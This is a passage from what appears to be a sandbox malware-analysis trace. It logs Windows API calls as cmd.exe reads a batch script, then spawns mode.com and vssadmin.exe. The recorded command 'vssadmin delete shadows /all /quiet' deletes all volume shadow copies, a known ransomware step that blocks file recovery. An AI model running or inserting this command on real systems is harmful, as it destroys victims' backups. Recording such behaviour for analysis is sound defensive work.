lpNumberOfBytesRead=0x1af8a8*=0x1, lpOverlapped=0x0) returned 1 [0268.039] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x4a50c320, cbMultiByte=1, lpWideCharStr=0x4a50e324, cchWideChar=1 | out: lpWideCharStr="iadmin delete shadows /all /quiet\n") returned 1 [0268.039] _get_osfhandle (_FileHandle=0) returned 0xe8 [0268.039] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0268.039] ReadFile (in: hFile=0xe8, lpBuffer=0x4a50c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1af8a8, lpOverlapped=0x0 | out: lpBuffer=0x4a50c320*, lpNumberOfBytesRead=0x1af8a8*=0x1, lpOverlapped=0x0) returned 1 [0268.039] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x4a50c320, cbMultiByte=1, lpWideCharStr=0x4a50e326, cchWideChar=1 | out: lpWideCharStr="tdmin delete shadows /all /quiet\n") returned 1 [0268.039] _get_osfhandle (_FileHandle=0) returned 0xe8 [0268.039] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0268.039] ReadFile (in: hFile=0xe8, lpBuffer=0x4a50c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1af8a8, lpOverlapped=0x0 | out: lpBuffer=0x4a50c320*, lpNumberOfBytesRead=0x1af8a8*=0x1, lpOverlapped=0x0) returned 1 [0268.039] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x4a50c320, cbMultiByte=1, lpWideCharStr=0x4a50e328, cchWideChar=1 | out: lpWideCharStr="\nmin delete shadows /all /quiet\n") returned 1 [0268.039] _get_osfhandle (_FileHandle=0) returned 0xe8 [0268.039] GetFileType (hFile=0xe8) returned 0x3 [0268.039] _get_osfhandle (_FileHandle=0) returned 0xe8 [0268.039] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0268.039] _get_osfhandle (_FileHandle=1) returned 0xf4 [0268.039] GetFileType (hFile=0xf4) returned 0x3 [0268.039] _get_osfhandle (_FileHandle=1) returned 0xf4 [0268.039] WideCharToMultiByte (in: CodePage=0x4e3, dwFlags=0x0, lpWideCharStr="Exit\n", cchWideChar=-1, lpMultiByteStr=0x4a50c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Exit\n", lpUsedDefaultChar=0x0) returned 6 [0268.039] WriteFile (in: hFile=0xf4, lpBuffer=0x4a50c320*, nNumberOfBytesToWrite=0x5, lpNumberOfBytesWritten=0x1af888, lpOverlapped=0x0 | out: lpBuffer=0x4a50c320*, lpNumberOfBytesWritten=0x1af888*=0x5, lpOverlapped=0x0) returned 1 [0268.039] GetProcessHeap () returned 0x390000 [0268.039] RtlAllocateHeap (HeapHandle=0x390000, Flags=0x8, Size=0x4012) returned 0x3b2010 [0268.039] GetProcessHeap () returned 0x390000 [0268.039] HeapFree (in: hHeap=0x390000, dwFlags=0x0, lpMem=0x3b2010 | out: hHeap=0x390000) returned 1 [0268.039] GetProcessHeap () returned 0x390000 [0268.039] RtlAllocateHeap (HeapHandle=0x390000, Flags=0x8, Size=0xb0) returned 0x3a9840 [0268.039] GetProcessHeap () returned 0x390000 [0268.039] RtlAllocateHeap (HeapHandle=0x390000, Flags=0x8, Size=0x1a) returned 0x3a4630 [0268.039] GetConsoleOutputCP () returned 0x4e3 [0268.040] GetCPInfo (in: CodePage=0x4e3, lpCPInfo=0x4a50bfe0 | out: lpCPInfo=0x4a50bfe0) returned 1 [0268.040] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409 [0268.040] GetConsoleTitleW (in: lpConsoleTitle=0x1af840, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\system32\\cmd.exe") returned 0x1b [0268.040] GetProcessHeap () returned 0x390000 [0268.040] RtlAllocateHeap (HeapHandle=0x390000, Flags=0x8, Size=0x14) returned 0x3a8940 [0268.040] GetProcessHeap () returned 0x390000 [0268.040] RtlAllocateHeap (HeapHandle=0x390000, Flags=0x8, Size=0x1a) returned 0x3a4660 [0268.040] GetProcessHeap () returned 0x390000 [0268.040] RtlAllocateHeap (HeapHandle=0x390000, Flags=0x8, Size=0x21c) returned 0x3ab9a0 [0268.040] GetConsoleTitleW (in: lpConsoleTitle=0x3ab9b0, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\system32\\cmd.exe") returned 0x1b [0268.040] GetProcessHeap () returned 0x390000 [0268.040] RtlReAllocateHeap (Heap=0x390000, Flags=0x0, Ptr=0x3ab9a0, Size=0x62) returned 0x3ab9a0 [0268.040] GetProcessHeap () returned 0x390000 [0268.040] RtlSizeHeap (HeapHandle=0x390000, Flags=0x0, MemoryPointer=0x3ab9a0) returned 0x62 [0268.040] SetConsoleTitleW (lpConsoleTitle="C:\\Windows\\system32\\cmd.exe - Exit") returned 1 [0268.041] GetProcessHeap () returned 0x390000 [0268.041] HeapFree (in: hHeap=0x390000, dwFlags=0x0, lpMem=0x3ab9a0 | out: hHeap=0x390000) returned 1 [0268.041] SetConsoleTitleW (lpConsoleTitle="C:\\Windows\\system32\\cmd.exe") returned 1 [0268.041] exit (_Code=2) Process: id = "12" image_name = "mode.com" filename = "c:\\windows\\system32\\mode.com" page_root = "0x706ee000" os_pid = "0x64c" os_integrity_level = "0x2000" os_privileges = "0x800000" monitor_reason = "child_process" parent_id = "11" os_parent_pid = "0x5f4" cmd_line = "mode con cp select=1251" cur_dir = "C:\\Windows\\system32\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "64" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0x10], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e619" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 93 os_tid = 0x650 Process: id = "13" image_name = "vssadmin.exe" filename = "c:\\windows\\system32\\vssadmin.exe" page_root = "0x6ed6a000" os_pid = "0x66c" os_integrity_level = "0x2000" os_privileges = "0x800000" monitor_reason = "child_process" parent_id = "11" os_parent_pid = "0x5f4" cmd_line = "vssadmin delete shadows /all /quiet" cur_dir = "C:\\Windows\\system32\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "64" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0x10], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e619" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 94 os_tid = 0x670 Thread: id = 105 os_tid = 0x69c Thread: id = 107 os_tid = 0x6bc Thread: id = 109 os_tid = 0x6c8 Thread: id = 110 os_tid = 0x6cc